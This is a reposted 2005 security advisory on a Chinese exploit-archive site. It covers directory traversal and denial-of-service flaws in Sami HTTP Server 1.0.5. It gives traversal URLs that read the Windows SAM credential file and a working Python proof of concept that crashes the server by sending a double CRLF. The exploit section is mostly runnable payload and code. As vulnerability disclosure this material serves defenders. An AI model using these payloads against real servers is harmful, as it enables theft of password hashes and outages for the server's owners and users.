首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sami HTTP Server Directory Traversal and DoS
来源:www.gssit.co.il 作者:GSS-IT 发布时间:2005-02-18  

Sami HTTP Server Directory Traversal and DoS

Summary
"Sami HTTP Server is an easy to set up webserver, for when you value simplicity and ease of use".

Multiple vulnerabilities in Sami HTTP Server allow an attacker to read arbitrary files on a vulnerable host and crash the server.

Credit:
The information has been provided by GSS IT.

Details
Vulnerable Systems:
* Sami HTTP Server v1.0.5.

Directory Traversal:
A remote user can obtain files on the system that are located outside of the web document directory.
Example:
http://[Target]/../../winnt/repair/sam
http://[Target]/%2e%2e/%2e%2e/winnt/repair/sam

Denial of Service:
The web server can be crashed by sending two Carriage Return (CR) and Line Feed (LF) [ \x0d\x0a ].

Proof of Concept Code:
#############################################
# GSS-IT Research And Security Labs #
#############################################
# #
# www.gssit.co.il #
# #
#############################################
# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #
#############################################
# Use This PoC For Educational Purposes Only #
#############################################

import sys
import socket


print("#############################################\n")
print("# Sami HTTP Web Server Ver 1.0.5 Denial Of Service PoC #\n")
print("#############################################\n\n")

if (len(sys.argv) < 3 ) :
print "Usage: %s <Target> <Port>" %sys.argv[0]
sys.exit(0)

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
target = sys.argv[1]
port = int(sys.argv[2])

try:
server.connect((target,port))
print "Sending CRLF ...\n\n"
server.send("\x0d\x0a\x0d\x0a")
server.close()
print "Done ... Check your web server"
except:
print "Cannot connect to http server on %s" %target



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AWStats PluginMode and LoadPlu
·vbulletin 3.0.x PHP code execu
·3Com FTP Server Buffer Overflo
·DoS in Quake 3 poc
·Microsoft Office XP Remote Buf
·Arkeia 5.3.x Type 77 Request R
·Armagetron DoS
·Arkeia 5.3.x Type 77 Request R
·Buffer Overflow in OSH
·Arkeia 5.3.x Type 77 Request R
·Linux Kernel <= 2.6.11-rc3
·Typespeed Proof of Concept Loc
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved